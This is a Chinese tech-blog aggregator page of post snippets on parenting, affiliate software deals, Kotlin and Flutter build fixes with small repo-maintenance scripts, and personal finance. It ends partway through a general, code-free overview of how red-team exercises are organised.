程序员在 Github 上随便克隆一下加密货币的代码，发行一些空气币，割韭菜。
能考上清华北大，证明他们智力非凡。但这些聪明人把理性用到了黑暗面，导致社会更加支离破碎。
除了学业，似乎有一打的东西要教他，然而和孩子相处的时间只有11年，并不是一生那么久。
- 品格。诚实，尊敬父母，忍耐，谦虚。
- 金钱管理。储蓄，量入为出，控制风险，防诈骗。
- 时间管理。人生事务的优先级，日历的使用。
- 如何交友。
- 婚姻观。
- 强壮的体格
- …
- 博客 Randy's Blog 2022-09-19 08:00:00951
- 博客 技术小黑屋 2022-09-18 21:31:00
Downie 4 是一款 Mac 上备受好评的视频下载利器，支持 Youtube、B 站、优酷、爱奇艺、腾讯视频 等 1000+ 国内外视频流媒体网站。
点击[合作伙伴]专属优惠链接，下单 Downie 4 到手价只需 79 元，新注册用户再享立减 5 元优惠！
支持 1000+ 视频网站
从网站扒视频，最烦恼的就是工具不万能。部分站点轻松下载，另外的网站却不可用，大大拖慢效率……
在 Downie 4 下，这个问题几乎不存在。软件支持超过 1000 个视频站点，从 YouTube、TED、Vimeo，到爱奇艺、优酷、Bilibili、网易云音乐……基本上只要你用过的网站，它都能下载。
多种方式高速下载
用 Downie 下载视频很简单，软件支持多种下载方式。无需充会员也不用排队，速度毫不含糊。 Downie 4 的下载速度对比上一版提升了 6 倍之多。
拖拽链接下载
拖拽视频页面链接至 Dock 中或者菜单栏的 Downie 图标上，软件会自动创建下载任务。
粘贴链接下载
复制视频网页链接，在软件中粘贴即可自动解析网站，开启视频下载。
浏览器插件下载
打开视频页面，点击 Downie 的浏览器插件图标，就可以一键在软件内创建视频下载任务。
关键字搜索下载
直接使用 Downie 的搜索功能，查找关键词有关的视频进行下载。
自定义下载功能
除了简单的视频下载功能，Downie 还能够自定义下载选项，无论是下载 MP4 格式的视频，或者只需要视频的背景声音，软件都能实现。同时用户可自定义后期处理脚本，对下载的视频进行个性化处理。
Downie 4 对于不支持的网站还可以手动提取视频内容，完成下载后会保存设置偏好，便于下次使用。同时 Downie 4 支持在菜单栏中直接控制，操作更加简单易用。
Downie 4 带来众多出色功能，点击[合作伙伴]专属优惠链接，仅需 79 元，新注册用户再享立减 5 元优惠！
Downie 下载视频的后处理
收藏达人，希望用统一的编码来保存 Downie 下载的内容？
创作达人，希望将 Downie 下载的视频转换为更适合剪辑软件处理的编码？
电影达人，希望将 Downie 下载的软件转成更适合移动设备的编码在旅途上观看？
试试与 Downie 同样优秀的 Permute 吧！
Permute 和 Downie 出自同一家开发商，它是一款图片音视频格式转换软件，只需简单设置就能无缝对接 Downie，将 Downie 下载的分段视频合并为长视频。常用操作与 Downie 一样简单，拖拽倒入素材，一键即可转换。
点击[合作伙伴]专属优惠链接仅需 69 元即可带 Permute 回家。
- 博客 技术小黑屋 2022-09-18 21:17:00
在 Android 工程中，随着依赖包的引入，也会出现 多个 Kotlin 版本的问题，比如会有下面这样的警告信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
] > Task :app:lintVitalAnalyzeRelease [ ] w: Runtime JAR files in the classpath should have the same version. These files were found in the classpath: [ ] /Users/xxxxxxxxx/.gradle/caches/modules-2/files-2.1/org.jetbrains.kotlin/kotlin-stdlib-jdk8/1.6.10/e80fe6ac3c3573a80305f5ec43f86b829e8ab53d/kotlin-stdlib-jdk8-1.6.10.jar (version 1.6) [ ] /Users/xxxxxxxxx/.gradle/caches/modules-2/files-2.1/org.jetbrains.kotlin/kotlin-stdlib-jdk7/1.7.10/1ef73fee66f45d52c67e2aca12fd945dbe0659bf/kotlin-stdlib-jdk7-1.7.10.jar (version 1.7) [ ] /Users/xxxxxxxxx/.gradle/caches/modules-2/files-2.1/org.jetbrains.kotlin/kotlin-stdlib/1.7.10/d2abf9e77736acc4450dc4a3f707fa2c10f5099d/kotlin-stdlib-1.7.10.jar (version 1.7) [ ] /Users/xxxxxxxxx/.gradle/caches/modules-2/files-2.1/org.jetbrains.kotlin/kotlin-stdlib-common/1.7.10/bac80c520d0a9e3f3673bc2658c6ed02ef45a76a/kotlin-stdlib-common-1.7.10.jar (version 1.7) [ ] w: Some runtime JAR files in the classpath have an incompatible version. Consider removing them from the classpath [ +98 ms] timber.lint.TimberIssueRegistry in /Users/xxxxxxxxx/.gradle/caches/transforms-3/d91983d38205de71b5c5d645c8d4eb47/transformed/jetified-timber-4.7.1/jars/lint.jar does not specify a vendor; see IssueRegistry#vendor [ +96 ms] e: /Users/xxxxxxxxx/.gradle/caches/modules-2/files-2.1/org.jetbrains.kotlin/kotlin-stdlib-jdk7/1.7.10/1ef73fee66f45d52c67e2aca12fd945dbe0659bf/kotlin-stdlib-jdk7-1.7.10.jar!/META-INF/kotlin-stdlib-jdk7.kotlin_modul e: Module was compiled with an incompatible version of Kotlin. The binary version of its metadata is 1.7.1, expected version is 1.5.1. [ ] e: /Users/xxxxxxxxx/.gradle/caches/modules-2/files-2.1/org.jetbrains.kotlin/kotlin-stdlib/1.7.10/d2abf9e77736acc4450dc4a3f707fa2c10f5099d/kotlin-stdlib-1.7.10.jar!/META-INF/kotlin-stdlib.kotlin_module: Module was compiled with an incompatible version of Kotlin. The binary version of its metadata is 1.7.1, expected version is 1.5.1. [ ] e: /Users/xxxxxxxxx/.gradle/caches/modules-2/files-2.1/org.jetbrains.kotlin/kotlin-stdlib-common/1.7.10/bac80c520d0a9e3f3673bc2658c6ed02ef45a76a/kotlin-stdlib-common-1.7.10.jar!/META-INF/kotlin-stdlib-common.kotlin _module: Module was compiled with an incompatible version of Kotlin. The binary version of its metadata is 1.7.1, expected version is 1.5.1.解决起来很简单，强制指定依赖为统一的版本即可。
在 build.gradle(app下) 增加这些配置即可。
1 2 3 4 5 6
configurations.all { resolutionStrategy.force "org.jetbrains.kotlin:kotlin-stdlib-jdk8:$kotlin_version" resolutionStrategy.force "org.jetbrains.kotlin:kotlin-stdlib-jdk7:$kotlin_version" resolutionStrategy.force "org.jetbrains.kotlin:kotlin-stdlib:$kotlin_version" resolutionStrategy.force "org.jetbrains.kotlin:kotlin-stdlib-common:$kotlin_version" } - 博客 小胡子哥的个人网站 2022-09-18 08:20:19作者：保罗·卡拉尼什保罗一生都在追寻生命的意义。"I can’t go on, I’ll go on"，看到最后才明白，我无法前行——没有办法继续从事热衷的事业；我仍将前行——因为还活着，还在追寻生命的意义，弃（转）医从文可以帮助我继续前行。到底是什么让人类的生命充满意义？保罗说，“要么去研究...
- 博客 二丫讲梵 2022-09-16 17:06:29如要阅读全文，点击标题跳转。学习周刊-总第71期-一些国内的公司在服务网格方面的实践
- 博客 构建我的被动收入 2022-09-16 08:00:00本文是《Software Engineering at Google》的读书笔记，同时会穿插分享我对软件工程的理解。本文主要介绍软件工程的相关工具，主要包括版本控制、分支管理、代码搜索、构建系统、代码静态化分析、依赖管理与CI/CD等。
- 博客 构建我的被动收入 2022-09-15 08:00:00终身学习（认知杠杆）* 全栈技术（时间杠杆）* 投资理财（财务杠杆） => 被动收入（人生杠杆）
- 博客 吕小荣的网志 2022-09-15 06:59:59
教小孩不能一上来就教他对象，条件判断，变量等复杂概念，要不然吓到他，就没办法教下去了。
比较好的编程软件会让小孩觉得打游戏，并且潜移默化的学习了编程思想。
4-10岁编程教学软件
国外适用于4-10岁的编程软件:Tynker Jr, Kodable，CodeSpark，Scratch。
Tynker
Tynker 有两个阶段的课程，第一阶 Introduction to code 适合 7-12岁的儿童。
网址：https://www.tynker.com/
Code Spark
年龄：5-9岁
收费：默认订阅制，但是可以和客服联系，说想要一次性买断的优惠券。我用的优惠券链接是 backtoschool99
Monthly Yearly Lifetime 9.99 美金/月 79.99 美金/月 99 美金/终生 (链接) 用后评价
软件的趣味性很强，教学内容循序渐进，不需要大人指导小孩。
软件有多种学习模式，小孩可以按照路线图一步步闯关，也可以在网上与别人编程对战，自由玩耍。
缺点
Code Spark 的服务器都在美国，在开启新关卡时，下载需要耗时3-5分钟。有时候连不上，需要翻墙。
它三个栏目，puzzles 比较简单，explore 比较难。
Kodable
年龄：4-11岁
收费：订阅制，或一次性买断。
Monthly Yearly Lifetime 9.99 美金/月 59.99 美金/月 149.99 美金/终生 试用评价
暂时还没试用。
Scratch
适用年龄：8-16岁
收费：免费。麻省理工学院出品。
用后评价
- 这个网站在中国被封了。据说是中国教培机构克隆了 Scratch，然后在 Scratch 的论坛上上传大量政治敏感内容，导致 Scratch 被封。和当初百度搞 Google 的思路一模一样。 无耻，龌龊！
- 对小孩的英语要求较高，需要看得懂菜单中的各种单词的意思。8岁之前，最好不要碰。
由于中国防火墙的存在，很多优秀的软件在国内是无法使用的。如果你不具备翻墙的能力，建议买 “洪恩编程”等国内的编程教学软件。
13-18岁
Tynker
Tynker 第二阶段的课程 “LEARN REAL-WORLD CODING” 是真刀真枪的 Javascript 和 Python 代码，适合 13-18岁的小孩。
参考资料
Stack Overflow Blog: Want to teach your kids to code? Here are three apps that can help.
- 博客 技术小黑屋 2022-09-12 22:15:00
当我们的 app 支持 flutter 3 后，无论是编译速度，还是运行效率，方方面面会有很大的提升。但是在我们编译的时候，会有类似下面的这些警告。
1 2 3
../../../your_pub/lib/src/framework.dart:275:26: Warning: Operand of null-aware operation '!' has type 'SchedulerBinding' which excludes null. [ ] - 'SchedulerBinding' is from 'package:flutter/src/scheduler/binding.dart' ('../../../code/flutter_3/packages/flutter/lib/src/scheduler/binding.dart'). [ ] if (SchedulerBinding.instance!.schedulerPhase ==上面的警告虽然不会影响应用的编译，但是长久来看，还是需要解决的。
原因为何
原因是从 flutter 3 开始,
SchedulerBinding.instance返回的是一个 非 null 实例，当我们使用SchedulerBinding.instance!.schedulerPhase会得到这样的警告Warning: Operand of null-aware operation '!' has type 'SchedulerBinding' which excludes null.如何解决
解决起来很简单，按照下面的处理，将
!去掉即可。1SchedulerBinding.instance.schedulerPhase都有哪些场景
flutter3 开始，下面这些都会有编译警告问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
SchedulerBinding.instance!.xxx SchedulerBinding.instance?.xxx WidgetsBinding.instance!.xxxx WidgetsBinding.instance?.xxxx PaintingBinding.instance?.xxx PaintingBinding.instance!.xxx RendererBinding.instance!.xxx RendererBinding.instance?.xxxx GestureBinding.instance!.xxx GestureBinding.instance?.xxx一键解决
那这么多内容需要解决，有没有一键处理的办法呢？
如果你接触过 终端脚本，答案是肯定的。我们可以使用下面的shell 脚本处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
#!/usr/bin/env bash function sedReplaceFile() { echo $1 sed -i "" -e "s/SchedulerBinding.instance!/SchedulerBinding.instance/g" $1 sed -i "" -e "s/SchedulerBinding.instance?/SchedulerBinding.instance/g" $1 sed -i "" -e "s/WidgetsBinding.instance!/WidgetsBinding.instance/g" $1 sed -i "" -e "s/WidgetsBinding.instance?/WidgetsBinding.instance/g" $1 sed -i "" -e "s/PaintingBinding.instance?/PaintingBinding.instance/g" $1 sed -i "" -e "s/PaintingBinding.instance!/PaintingBinding.instance/g" $1 sed -i "" -e "s/RendererBinding.instance!/RendererBinding.instance/g" $1 sed -i "" -e "s/RendererBinding.instance?/RendererBinding.instance/g" $1 sed -i "" -e "s/GestureBinding.instance!/GestureBinding.instance/g" $1 sed -i "" -e "s/GestureBinding.instance?/GestureBinding.instance/g" $1 } export -f sedReplaceFile find . -name "*.dart" | xargs -I {} bash -c 'sedReplaceFile {}'执行
1 2
cd your_project f3_fix.sh注
- 上面的脚本仅在 mac 系统验证， Linux 可能需要自行做简易修改。
- 如果是 三方pub 包含警告问题，可以选择对应适配 flutter 3 的版本升级即可。
- 博客 技术小黑屋 2022-09-12 22:01:00
不管是手机还是电脑，出色的硬件是好用的基础。而其中的软件工具，也是提高效率、减轻负担的好东西。
免费的软件工具众多，当然付费工具也不少。大家可能会觉得正版软件很贵，但国内软件代理商的价格其实很实惠。
本次为大家介绍，优秀代理商「数码荔枝」近期上架的多款软件工具。分别是多平台抠图工具：傲软抠图，以及无需剪辑的在线视频制作工具：右糖。
点击我们的专属链接，直接购买即为优惠价格。
傲软抠图 [Win/Mac/iOS/Android]
傲软抠图是一款适用于多平台的抠图工具，支持 AI 智能一键抠图，内置算法针对人物、物品等实现自动抠图，效果精细、清晰干净。
傲软抠图使用非常简单，只需打开软件，选择照片，就能自动完成抠图，速度快效果好。提供手动优化，可任意保留或擦除抠图区域，支持裁剪、移动等操作。
支持人像物品背景去除 / 更换，内含海量素材，可快速更换背景画面，打造精美照片，无论是用于人像后期还是产品图制作都合适。
可制作各类证件照，支持一键修改背景颜色、照片尺寸、文件大小，证件照换底色再也不用去照相馆啦~
支持批量抠图 / 图片清晰处理，并提供制作图章、图片去水印功能，帮助用户高效处理照片。
一个账号即可通用 Win / Mac / 安卓 / iOS 平台，方便随时抠图。
傲软抠图提供免费试用，试用效果满意，可点击专属链接购买抠图使用张数，仅需 20.3 元起。兑换后不会过期，无时间限制。
右糖 [Web]
右糖是一个基于云端的在线视频制作工具，手机电脑皆可使用。无需视频剪辑技巧，直接选用模板上传素材，一键就可以制作充满设计感的动画视频、电子回忆相册。
网站含婚礼、教育、商业宣传等 800+ 优质模板，各类风格场景持续更新。选择模板 > 上传素材 > 一键制作，只需三步，五分钟就能生成电子相册。
内置丰富的画面库可供选择编辑，类型多样，制作动画视频一键应用成片超方便。
制作视频不知如何搭配 BGM？这里有海量流行音乐曲库，让你的视频更「声」动。
也无需为文案发愁，文案库为你准备了各类精彩好句，无惧灵感枯竭。可为画面添加字幕、Logo，进行裁剪旋转、排序、切换比例等操作。
素材作品在云端渲染并存储，不怕硬件性能不给力，手机电脑皆可操作，随时随地观看与分享。
支持免费预览动画或相册效果，满意后会员可解锁 720P / 1080P 画质下载。
右糖会员版提供三个可购版本，一月版、季度版及一年版可选。其中一年版可制作 300 个视频，每个视频不到 1.5 元，点击链接获取，大家可按需选购。
数码荔枝代理了众多优秀工具，它们也会不定期上架新的软件产品，大家可以持续关注。点击了解更多正版软件
- 博客 构建我的被动收入 2022-09-12 08:00:00我的投资助手系统支持多种投资交易策略，可评估用户的投资交易水平，自动计算用户投资组合的净值，从而提升用户的投资交易水平。
- 博客 二丫讲梵 2022-09-10 22:53:11如要阅读全文，点击标题跳转。我们在使用pipeline的时候，如果某一个变量没有正常声明，则会遇到变量定义失败的错误，这个时候，我们可以借助三元表达式来解决这个问题。
- 博客 二丫讲梵 2022-09-09 16:47:23如要阅读全文，点击标题跳转。学习周刊-总第70期-国内效能平台实践与一个优质的开源堡垒机
- 博客 二丫讲梵 2022-09-05 03:02:27如要阅读全文，点击标题跳转。以往Jenkins实践当中，配置了共享库的流水线方案，通过将核心公共逻辑抽离成膜版，项目个性化配置信息放到引导文件中的方式进行推进。这种方案没有什么毛病，对于运维的维护工作也是比较友好的，只是后来我们打算再在Jenkins上层做一下平台化封装的时候，发现还是存在一些问题，并且有一些难度的。最近我了解学习到了一个与 MySQL Database 插件结合的思路，能够比较好解决这种问题，那么接下来话不多说，直接进入正题，让我们来认识一下这个插件。
- 博客 技术小黑屋 2022-09-04 21:57:00
很多时候，我们会遇到这样的场景
- 换了新电脑，需要挨个 clone gitlab repos？
- 无法确定哪个 repo 包含了 maven.aliyun.com 这个设置？
- 能否批量更新 本地的 repos？
如果你有上述的疑问或者情况，你可以尝试本文中的一些批量处理 repos 的方法
批量 clone
1ruby cloneRepos.rb code-git-xxxxxx ../projects/其中 cloneRepos.rb 脚本内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
#!/usr/bin/env ruby # encoding: utf-8 require 'httparty' require 'json' def cloneRepos(repoUrlApi) headers = { 'PRIVATE-TOKEN': ARGV[0], } response = HTTParty.get(repoUrlApi, headers: headers) data = JSON.parse(response.body); puts data.length() data.each { |e| name = e['name'] gitUrl = e['ssh_url_to_repo'] system "cd #{ARGV[1]} && git clone #{gitUrl}" puts name } end cloneRepos('https://code.hahaha.io/api/v4/projects?per_page=100') cloneRepos('https://code.hahaha.io/api/v4/projects?per_page=100&page=2')参数解释
- code-git-xxxxxx 从 gitlab 获取的token，根据下图指示获取
- ../projects 存放的目录
注意
这个脚本目前只能处理 前200个 repos，如果有需要，可以自行修改代码处理。 批量工程检索
快速查找
比如我们想要搜索 maven.aliyun.com
1 2 3 4 5 6 7 8 9
projects gradleSearch.sh maven.aliyun.com ./xxxx/example/android/build.gradle:7: url 'http://maven.aliyun.com/nexus/content/repositories/releases/' ./xxxxx/example/android/build.gradle:23: url 'http://maven.aliyun.com/nexus/content/repositories/releases/' ./xxxx/android/build.gradle:22: url 'https://maven.aliyun.com/repository/public/' ./xxxx/example/android/build.gradle:6: maven {url 'https://maven.aliyun.com/repository/google'其中 gradleSearch.sh 的内容如下
1 2
#!/bin/bash find . -name "*.gradle" | xargs grep -E -n --color=always -r "$1"批量更新
1updateRepo.sh它的内容是这样的
1 2 3 4 5 6 7 8 9 10
#!/bin/bash for dir in */; do echo "$dir" realpath=`realpath $dir` echo $realpath cd $realpath git checkout master git pull origin master cd - done注意
- 如果当前repo 有未提交修改，则无法更新。
通过上面的几个脚本，我们可以轻松实现效率提升。
- 博客 技术小黑屋 2022-09-04 21:40:00
对于开发者来讲，每天都要和各种编程 IDE 和开发工具打交道。想必一定听说过 JetBrains 公司，或旗下的产品：IntelliJ IDEA、PyCharm、WebStorm 等。
不久前，JetBrains 发布公告，他们即将上调系列产品的订阅价格！
涨价风暴将席卷旗下一众产品，包括：IDE、.NET 工具和 All Products Pack。
此次价格调整将于 2022 年 10 月 1 日 生效，届时订阅价格将上涨 10%~20%，以下是部分个人版的涨价情况：
ReSharper：￥869 > ￥939 WebStorm：￥399 > ￥469 All Products Pack：￥1679 > ￥1949 GoLand、CLion、RubyMine……：￥599 > ￥669
JetBrains 这些产品对于开发者来讲可是刚需呀！知名代理商「数码荔枝」目前价格还未调整，大伙记得趁涨价前赶紧囤一波订阅，别等到涨价了才后悔错过优惠，现在就是入手的最佳时机！
点击专属链接优惠订阅 / 续费 JetBrains 系列软件
囤货的朋友还得注意一下，个人订阅允许最多至三年，企业订阅最多至两年！
优秀、专业且强大
工欲善其事，必先利其器。对于开发者来说，出色的编程技能固然重要，但要让敲代码变成轻松愉悦的享受，自然得备上一款能提升开发效率的好工具。
自带代码辅助功能的 JetBrains 系列软件，非常值得各位开发者拥有。
包含 IntelliJ IDEA、PyCharm、WebStorm、AppCode、CLion、DataGrip、GoLand、PhpStorm、RubyMine 等。
各位使用 Java、PHP、Python 还是 Swift 开发语言的朋友，都能找到合适的开发工具。
JetBrains 具备优秀的智能编码辅助和代码重构能力，强大、稳定的调试器帮助开发者节省更多调试时间。
提供了包括提交、冲突解决、分支切换和分支对比在内的源码管理功能，帮助实现源代码高效版本控制。
集成 Docker、版本控制、反编译器等众多开发工具，丰富的插件生态系统，让开发者可以根据自己的特定需求定制 IDE。
优秀、专业且强大的工具，开发者和团队必备。现在续费还能获得额外折扣，不要错过！点击专属链接优惠入手 JetBrains 系列软件
All Products Pack 更划算
而对于全栈开发者来说，JetBrains 的全套编码工具更是开发时的不二之选。集合 IntelliJ IDEA、PyCharm、GoLand 等十余个 IDE，多个 .NET 开发工具以及分析器。
实力与优惠兼得的 JetBrains 编程开发工具集，涨价后 1949 元，现在还能以 1679 元的限时特价入手，立省几百！点击专属链接优惠订阅 All Products Pack
产品汉化出色
JetBrains 系列产品现已完成汉化，无需另外下载软件安装，大部分软件内直接安装语言插件，就可以显示简体中文界面。
中文操作界面，新手更好入门！
铂金代理 品质售后无忧
购买专业软件不仅要选对代理商，还得看靠谱的售后服务。
数码荔枝拥有开发商 JetBrains 的铂金代理资格。所销售的正版软件品质可靠，值得开发者信赖！
除了可靠的授权，它们店铺的客服同样专业，可以为用户解决众多软件上的使用问题。在这购买 JetBrains 系列软件，使用自然没有后顾之忧。
对于软件激活与授权安装的问题，它们的客服会提供专业售后服务。更多软件使用问题还可在官方平台提交工单，获得开发商的专业支持。
JetBrains 系列产品的优秀有目共睹，除了官网，开发者现在又多了「数码荔枝」这样专业靠谱的购买渠道。
快趁涨价前带走这些工具，高效助力你的开发！点击链接马上订阅 / 续费 JetBrains 系列软件
- 博客 二丫讲梵 2022-09-02 16:41:56如要阅读全文，点击标题跳转。学习周刊-总第69期-2021年个人博主们的年终总结
- 博客 吕小荣的网志 2022-08-31 02:39:11
我住在上海。
七年前我太太怀孕时，朋友们建议我买车，方便带孩子出游。从上海开到太湖，莫干山，杭州，3个小时车程内，一脚油门，想走就走。此外他们说下雨天不好打车，万一遇到急事还是开自己的车最方便。
拖到现在，一直没买，日子过得还挺合，急事没碰到一件。
我曾经仔细考虑过买车，先买一辆十万之内的二手车练练手，但是最终放弃了，不想为了解决一个简单问题，引入更复杂的问题。
老小区充电难、停车难。 上海市区以老破小为主，每天上演抢车位大战，公共车位先到先得，停车费半天劲。因为没有自己的停车位，无法安装充电桩，电动汽车车不仅停车难，充电也难。
租的房子通常没车位。 我家常年租房子，差不多2年搬一次家。家里东西越多，找到合适的房子的概率就越低。如果买了车，还得替它找车位，只能选高档点的小区，选择的余地越来越小。
对于学习的人，开车未必节省时间。 坐地铁慢，但是路上可以背单词，看书，学习。我以前上班单程需要1.5个小时，早晨7点我就坐地铁出发，地铁上可以干很多事情：
- 先做一套广播体操
- 拉伸身体
- 背单词
- 复习昨天学过的知识点
- 步行到地铁口，锻炼了身体
开车的话，就只能专心开车了。无法学习，无法思考，无法锻炼身体。
换工作后，我成为一个远程办公的工程师。每天上班就是从客厅走进书房，10秒钟就位，更近了。 我太太走路上班，10分钟到达。用车的频率更低。
汽车在不断贬值。 房子会抵御通货膨胀，运气好会增值；债券会有利息，股票是现金奶牛，会源源不断吐出股息。但当买入汽车的一刹那，其价值就开始缩水，每年都在折旧。
汽车需要维护费，是未来的负债
- 每个月 500-1000 停车费
- 如果烧油，每个月油钱也不少。
- 每年保险费5000元。
在上海持有一辆汽车，每年的维护成本要 2 万。换句话说，一旦购入，未来的每年都已经负债 2万。
“下雨天不好打车，有急事叫不到车，所以要买车” 这种理由也不成立。 上海平日下雨的概率并不高，为了一个很低的概率支付巨额支出，显然不划算。打不到车就加钱呗，重赏之下必有司机。下雨时“加价50”，或者打豪华车都行，每年额外支出1000块钱加价费就可以解决。
家里没车，也有诸多不方便。
我的驾驶技术彻底忘记了。 考出驾照1年了，我的驾驶技术都还给老师了。
回老家不方便。 走亲访友没有车特别不方便，骑自行车拜年也特别没面子。但想到一年至多回2次老家，没面子就没面子吧，面子是给别人看的，省的钱却是实打实的自己的。
如果辩证的看，“看上去穷”不算坏事，就不会有人找我借钱了。
无法开启说走就走的旅行
因为没车，不能任性的来一次说走就走的旅行。如果要进行跨城市的旅行，要提前计划好，定高铁的票，定酒店。
不够有钱
不买车的理由千千万，简言之”不够有钱“。
如果年薪百万，家里有150平住宅，谁还会会为每年2万块钱斤斤计较，即使它天天趴在家里我也果断买车。
如果有自己的地下停车位，电梯直达，不用在老破小区里瞎晃半小时找停车位，那我也果断买车。
钱不够时，可以硬踮起脚来消费，艰难维持。也可以降级消费，买一些高频使用的显著提升生活质量的东西。
我见过的最本末倒置的消费观念就是在大头上浪费，在小头上节省。比如学生省吃俭用吃泡面，攒钱买LV或新款牛仔裤。老年人勤俭持家，每个月水电费省出100块，过年买衣服花了1500块，一年穿不了几次。
金钱管理应该在在大头上节俭，在小头上任性。
因为没买车，每月省出一大笔支出，在小地方就可以任性，不用抠抠索索，这极大改善了家庭的幸福感。
- 孩子教育用品，钢琴，图书，教育软件。
- 出去玩时住好一点的酒店。
- 每个月拿出2000块钱的预算打车。
- 偶尔去高档餐厅吃一顿不肉疼。
- 买机械键盘 HHKB，花了 2000 元。
- 买 Macbook Pro，花了2万多。
- 买 Go Pro 相机，花了4000元。
- 给长辈买一些礼物
- 买各种办公软件。
- 偶尔财务上帮别人一把。
《我在用的工具清单》这篇文章详细记录了我的钱糟蹋在什么地方。反正再怎么折腾，也没有买车和养车花的钱多。
我们家的现在的出行方案以及花费
城市：上海
出行范围 方案 花费 10 km 以内 电动自行车 0元 10 km 以内 自行车 0元 10-100 km 以内 滴滴、美团 200-300元/次 100 km 以上 长途汽车、高铁 100元-300元 我们家买了2辆电动自行车（小电驴），10 km 以内的出行，小电驴又省钱又方便，真是爱死他们了。
- 马路边随便停，不需要找车位
- 没有停车费
- 把限速关掉，可以达到小摩托车的速度，贼快。
如果将来有钱了，不管是买新车还是二手车，我大概率还是会买辆普通的车。
- 车价为年薪的 1/4。
- 刮了碰了也不心疼，糊起来接着用，不用天天供着。
- 博客 MiaoTony's Blog 2022-08-28 20:06:00969
- 博客 二丫讲梵 2022-08-28 04:54:53如要阅读全文，点击标题跳转。我曾在2017年参加了兄弟连(当然在19年底疫情爆发时，兄弟连也倒下了，但我仍要说，兄弟连的教学风格是非常优秀的，向兄弟连致敬)云计算课程的培训，培训时间是4月底到9月底，而后10月份转战杭州参加工作，由于自知培训出来的学生矮人一截，因此五年来，这件事儿我都一直按压在了心底。现而今距离当初决定参加培训已过去五年，五年后的自己当然谈不上多么成功，但相对彼时求出无门的自己来说，今日的状态已经是极大的奢望。所以能够走到今天这一境界，与自己入场之时的低劣身份有莫大的关系，这大概就是，反者道之动，弱者道之用的真义罢。曾经我为此低劣身份感到难以启齿，而今能够正视这个问题，则说明自己已经走出来了，这两天偶然又翻出当初刚入学时留的一个作业：写给未来的一封信，希望通过这样一封信，来激励自己。当我再次通读这封信，隐约能体悟到，一个人的命运走向早已被自己的综合认知决定。机遇是非常难遇，如果说那时选择报培训班完全是鬼使神差，多少有一些傲娇，但也的确不曾有人在那时给我以指导。机会是留给有准备的人的，哪怕你没有这个针对机会的准备，只要你拥有良好的行事习惯，也能抓住机会，到达彼岸。
- 博客 二丫讲梵 2022-08-28 04:05:05如要阅读全文，点击标题跳转。整理欣遇宝贝在22年4月到8月的言语
- 博客 二丫讲梵 2022-08-26 17:02:58如要阅读全文，点击标题跳转。学习周刊-总第 68 期-程序员如何优雅地挣零花钱
- 博客 二丫讲梵 2022-08-25 17:04:55如要阅读全文，点击标题跳转。前一阵儿赋闲在家的时候，试水过一次直播，当时没有注意到一个问题，那就是讲课时实时划线批注的问题，当我们对着文档讲解的时候，观看直播的同学不能及时跟着主播的进度走，思路就很容易掉队，效果也就出不来。于是，我开始了解Mac上有没有优秀的划线批注软件，经过一番搜索与体验，最终我锁定了：ScreenBrush。
- 博客 轶哥博客 2022-08-22 22:50:13<>这个程序大约写于5年前，在3年前开源。这是一篇3年前就应该写的文章，一直沉睡在TODO Lit，由于优先级过低，竟然拖到今天才写。<>
<>
这个小工具诞生的原因背景： <>Office的Excel是目前最优秀的表格工具，Office三套件经久不衰，无疑是职场最具影响力的生产力软件。而World与Excel中的表格直接复制到网页（HTML组件）中会遗留非常多的额外标签，这些标签在浏览器中有的是无法识别的，有的是能识别但是会出现显示异常的。<>在We2.0时代，出现了“所见即所得”的HTML富文本编辑器。与此同时，We前端飞速发展，出现了多种自适应布局方式，可以让We页面兼容不同大小和分辨率的显示器。<>由于Office新版协议采用了和HTML类似的标记语言来表达富文本内容，使得WPS等第三方Office软件得以在不破解协议的情况下修改Office文件。然而World、Excel和PowerPoit的表格内容直接复制出来粘贴到HTML富文本编辑器是可以使用的，但是多余的标签会衍生出各种问题。<>这个 Office Tale 转 HTML Tale 就是为了解决此问题开发的纯前段处理数据 的We小程序。 - 博客 Randy's Blog 2022-08-20 08:00:00975
- 博客 二丫讲梵 2022-08-19 15:10:11如要阅读全文，点击标题跳转。学习周刊-总第67期-2022年第32周,几个Redis管理平台与B站加强脚本
- 博客 Vulkey_Chen's Blog 2022-08-18 00:00:00
我眼中的红队
碎语闲谈，作为一名多年的十八线红队选手一直想写一篇文章来总结下“我眼中的红队”，之前写过一点，因文笔拙劣遂删除，起本文重写。
什么是红队
现如今是数字化时代，万物联网创造了一个新的空间，即网络空间，网络空间的安全也上升到了国家安全层面，并且网络已经成为国家继海、陆、空、天之后的第五大主权领域空间。
正是如此，网络空间也就如传统领域空间一样，需要通过演习对抗的模式，提升网络安全防御能力，以攻促防，知攻善防。
攻防双方在演习中通常称之为红队（Red Team）和蓝队（Blue Team），红队（Red Team）即攻击方，穷尽方法攻击以达到获取演习靶标权限的目的。
红队攻击流程
红队的攻击流程大致分为4个步骤，分别是制定战术、外网打点、内网横向、结果报告。
制定战术：根据演习规则及目标结合自身优点制定攻击战术，以保证演习过程不盲目、不混乱，有条不紊的完成演习；
外网打点：通过漏洞、供应链、社工、近源等手段对目标暴露面进行攻击，以此打开进入目标内网的入口；
内网横向：通过信息收集、分析、关联，结合相关漏洞及密码对内网可达网段机器进行横向攻击，以此发现更多脆弱点或接近内网的演习靶标；
结果报告：将红队攻击过程、所涉技术手段、攻击痕迹等信息进行整理，形成文档提交至演习平台，并且便于后续复盘。
红队成员结构
通常在攻防演习中，主办方都是要求现场红队成员有三位，按照我的理解这三位应该是：队长、渗透师、横向师。
队长：技术综合能力较强，具备较好的团队协作、组织、应变、沟通能力，能有条理的安排演习任务，并且在演习结果上报后有争议时与裁判进行沟通；
渗透师：前渗透能力较强，也就是侧重于信息收集、Web漏洞黑盒挖掘及代码审计能力，在拿到目标信息后能够快速的找到脆弱资产，撕开暴露面入口以供后渗透；
横向师：后渗透能力较强，也就是侧重于木马免杀、权限维持及漏洞利用能力，当具有暴露面入口时能够通过它对内网进行持续性的脆弱点发现。
当然，目标往往是美好的，现实却是残酷的，在演习中真正的红队成员都应该具备这三种能力，才能应对这万变的局面。
红队基础设施
红队的基础设施，我将其分为三大块：人员、武器库、漏洞库。
人员：万事皆以人为本，红队的基础设施也离不开人，优秀的伙伴可以让你在演习过程中更舒心，而人员通常是最难解决的，大部分都是通过外部招聘的形式引入技术人才，或培养初入职场的学生；
